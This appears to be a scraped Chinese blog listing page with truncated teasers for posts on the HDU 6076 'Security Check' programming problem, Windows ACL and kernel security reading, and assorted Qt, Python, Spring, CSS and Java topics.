2017 多校4 Security Check 题意: 有\(A_i\)和\(B_i\)两个长度为\(n\)的队列过安检,当\(|A_i-B_j|>K\)的时候, \(A_i和B_j\)是可以同 ...
- HDU 6076 Security Check DP递推优化
Security Check Time Limit: 6000/3000 MS (Java/Others) Memory Limit: 524288/524288 K (Java/Others) ...
- HDU 6076 - Security Check | 2017 Multi-University Training Contest 4
/* HDU 6076 - Security Check [ DP,二分 ] | 2017 Multi-University Training Contest 4 题意: 给出两个检票序列 A[N], ...
- Windows Directory ACL Security Check By ACL Baseline
catalog . Windows NTFS ACL(MAC) Permission . How the System Uses ACLs . 服务器不安全ACL配置带来的攻击向量 . NTFS AC ...
- Windows Kernel Security Training Courses
http://www.codemachine.com/courses.html#kerdbg Windows Kernel Internals for Security Researchers Thi ...
- Windows Registry
https://msdn.microsoft.com/en-us/library/windows/desktop/ms724871(v=vs.85).aspx https://msdn.microso ...
随机推荐
- QT 对话框一
标准文件对话框 其函数形式如下:: QString QFileDialog::getOpenFileName ( QWidget * parent=, const QString &capti ...
- 【转】如何拿到半数面试公司Offer——我的Python求职之路
原文地址 从八月底开始找工作,短短的一星期多一些,面试了9家公司,拿到5份Offer,可能是因为我所面试的公司都是些创业性的公司吧,不过还是感触良多,因为学习Python的时间还很短,没想到还算比较容 ...
- Spring与Mybatis整合的MapperScannerConfigurer处理过程源码分析
前言 本文将分析mybatis与spring整合的MapperScannerConfigurer的底层原理,之前已经分析过java中实现动态,可以使用jdk自带api和cglib第三方库生成动态代理. ...
- FineUI小技巧(2)将表单内全部字段禁用、只读、设置无效标识
需求描述 对表单内的所有字段进行操作也是常见需求,这些操作有: 禁用:表单字段变灰,不响应用户动作. 只读:表单字段不变灰,但不接受用户输入(实际上是设置DOM节点的readonly属性),有触发器的 ...
- 用canvas画简单的“我的世界”人物头像
前言:花了4天半终于看完了<Head First HTML5>,这本书的学习给我最大的感受就是,自己知识的浅薄,还有非常多非常棒的技术在等着我呢.[熊本表情]扶朕起来,朕还能学! H5新增 ...
- TensorFlow 源代码初读感受
把自己微博发的文章:http://www.weibo.com/1804230372/En7PdlgLb?from=page_1005051804230372_profile&wvr=6& ...
- VS Code First使用Mysql数据库详解
最近电脑出毛病了,自己装显卡驱动给装死了开不了机,自己研究了两天也没解决,只有去修电脑的找专业人员,说起来惭愧,虽然自己是搞计算机的可电脑自己重装系统都还搞不定.重装系统又清理灰尘花了50大洋,现在用 ...
- [译]用AngularJS构建大型ASP.NET单页应用(三)
原文地址:http://www.codeproject.com/Articles/808213/Developing-a-Large-Scale-Application-with-a-Single A ...
- CSS3——让最后一行显示省略号
代码如下: <!DOCTYPE html> <html> <head> <title></title> <meta charset=& ...
- HashTable、HashMap、HashSet
1. HashMap 1) hashmap的数据结构 Hashmap是一个数组和链表的结合体(在数据结构称“链表散列“),如下图示: 当我们往hashmap中put元素的时候,先根据key的hash ...